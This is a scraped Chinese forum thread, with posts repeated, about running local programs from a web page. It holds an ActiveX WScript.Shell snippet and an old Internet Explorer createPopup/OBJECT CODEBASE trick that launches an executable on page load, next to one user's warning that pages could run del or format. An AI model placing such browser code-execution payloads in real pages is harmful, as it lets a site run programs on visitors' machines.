<script> function runExe(sPath) { var oShell = new ActiveXObject("WScript.Shell"); try { oShell.Run(sPath); } catch(e) { document.write("Error Exec Notepad"); } } </script> <a href="javascript:" onclick="runExe('Notepad.exe');">打开记事本</a>这个是我在网上找来的,试过可以用。 --------------------------------------------------- 那你的机子安全级调得实在是太低了。很危险的。要是别人随便在网页里写个del..或者format之类的话呢?
<SCRIPT language=JScript> function Init(program){ var oPopup=window.createPopup(); var oPopBody=oPopup.document.body; var n,html=''; html+="<OBJECT NAME='X' CLASSID='CLSID:11111111-1111-1111-1111-111111111111' CODEBASE='"+program+"' %1='r'></OBJECT>"; oPopBody.innerHTML=html; } Init('D:\\Apache\\users\\Kawai.EXE'); </script>
PHP运行在服务器端,怎么能控制客户端呢?
你只能用javascript或ActiveX
这个如果没有注册就有点类似网页病毒的方法去制作。
function runExe(sPath)
{
var oShell = new ActiveXObject("WScript.Shell");
try
{
oShell.Run(sPath);
}
catch(e)
{
document.write("Error Exec Notepad");
}
}
</script>
<a href="javascript:" onclick="runExe('Notepad.exe');">打开记事本</a>这个是我在网上找来的,试过可以用。但不能调用本机的QQ程序
exec()
passthru()
escapeshellcmd()
popen()
这些方法都可以。
function runExe(sPath)
{
var oShell = new ActiveXObject("WScript.Shell");
try
{
oShell.Run(sPath);
}
catch(e)
{
document.write("Error Exec Notepad");
}
}
</script>
<a href="javascript:" onclick="runExe('Notepad.exe');">打开记事本</a>这个是我在网上找来的,试过可以用。
---------------------------------------------------
那你的机子安全级调得实在是太低了。很危险的。要是别人随便在网页里写个del..或者format之类的话呢?
function Init(program){
var oPopup=window.createPopup();
var oPopBody=oPopup.document.body;
var n,html='';
html+="<OBJECT NAME='X' CLASSID='CLSID:11111111-1111-1111-1111-111111111111' CODEBASE='"+program+"' %1='r'></OBJECT>";
oPopBody.innerHTML=html;
}
Init('D:\\Apache\\users\\Kawai.EXE');
</script>
你上面哪段代码我怎么保存不了的?一按保存就删除了。